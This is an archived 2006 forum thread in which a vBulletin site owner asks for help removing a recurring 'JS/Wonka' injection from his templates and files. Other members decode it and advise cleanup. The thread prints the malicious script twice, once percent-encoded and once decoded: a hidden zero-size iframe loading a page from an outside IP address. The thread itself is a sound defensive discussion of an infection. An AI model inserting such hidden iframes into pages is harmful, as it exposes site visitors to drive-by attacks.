Go Back   vb.org Archive > vBulletin 3 Discussion > vB3 General Discussions
  #1  
Old 01-26-2006, 03:14 PM
Blackhat's Avatar
Blackhat Blackhat is offline
 
Join Date: Mar 2005
Posts: 323
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default JS/Wonka infection

JS/Wonka have been detected on my site and infected some of my files like index.php, global.php, showthread.php etc

Recenty the file alteration have stopped, but it keeps adding itself into my footer template and I have to manually remove it several times a day/week and I have no idea how to remove it.

http://www.systemsmanagementpipeline.com/news/172302797

This is how it looks
Code:
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%36%36%2E%32%33%35%2E%32%32%31%2E%31%32%33%2F%7E%65%6C%69%74%65%2D%6F%6E%2F%70%75%62%2F%6C%69%62%2F%64%6F%6D%54%54%2F%6E%65%77%73%2E%68%74%6D%6C%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
//-->
</Script>
Can anybody out there help me?

Thanks
Reply With Quote
  #2  
Old 01-26-2006, 04:26 PM
nexialys
Guest
 
Posts: n/a
Default

your directories are all CHMOD 0777, or this javascript would not be able to affect any file you have...

the only place you need to have chmod your files is in the cache directory... if you have one.

oh, btw.. this forum is for vbulletin related questions... yours is about javascript... there is another forum just below, where more answers can be found...
Reply With Quote
  #3  
Old 01-26-2006, 04:51 PM
Blackhat's Avatar
Blackhat Blackhat is offline
 
Join Date: Mar 2005
Posts: 323
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Thank you! All my folders are allready CHMOD 755 and files are 644


Perhaps a mod could move it to the forum below?
Reply With Quote
  #4  
Old 01-26-2006, 06:10 PM
Princeton's Avatar
Princeton Princeton is offline
 
Join Date: Nov 2001
Location: Vineland, NJ
Posts: 6,693
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

download all files and do a batch FIND for said script and remove it ... once completed upload clean files

here's the obfuscated code decoded...
HTML Code:
<Script Language='Javascript'>
<!--
document.write(unescape('<iframe src="http://66.235.221.123/~elite-on/pub/lib/domTT/news.html" width=0 height=0 style="display: none"></iframe>'));
//-->
</Script>
Reply With Quote
  #5  
Old 01-26-2006, 07:09 PM
Marco van Herwaarden Marco van Herwaarden is offline
 
Join Date: Jul 2004
Posts: 25,415
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Depending on how you got this infection, many more files on your server could be infected. I suggest you ask your host for help in checking your server.
Reply With Quote
  #6  
Old 01-26-2006, 07:31 PM
jugo jugo is offline
 
Join Date: Feb 2004
Location: Reading your emails.
Posts: 573
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

news coming from here:

HTML Code:
http://elite-online-gaming.com/
I wonder if they know taht they're doing this?

Anyway...here's a good article on this: http://www.websensesecuritylabs.com/...ysis_oct05.pdf
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 04:46 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2024, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.06620 seconds
  • Memory Usage 2,202KB
  • Queries Executed 13 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (1)bbcode_code
  • (2)bbcode_html
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (6)post_thanks_box
  • (6)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (6)post_thanks_postbit_info
  • (6)postbit
  • (5)postbit_onlinestatus
  • (6)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete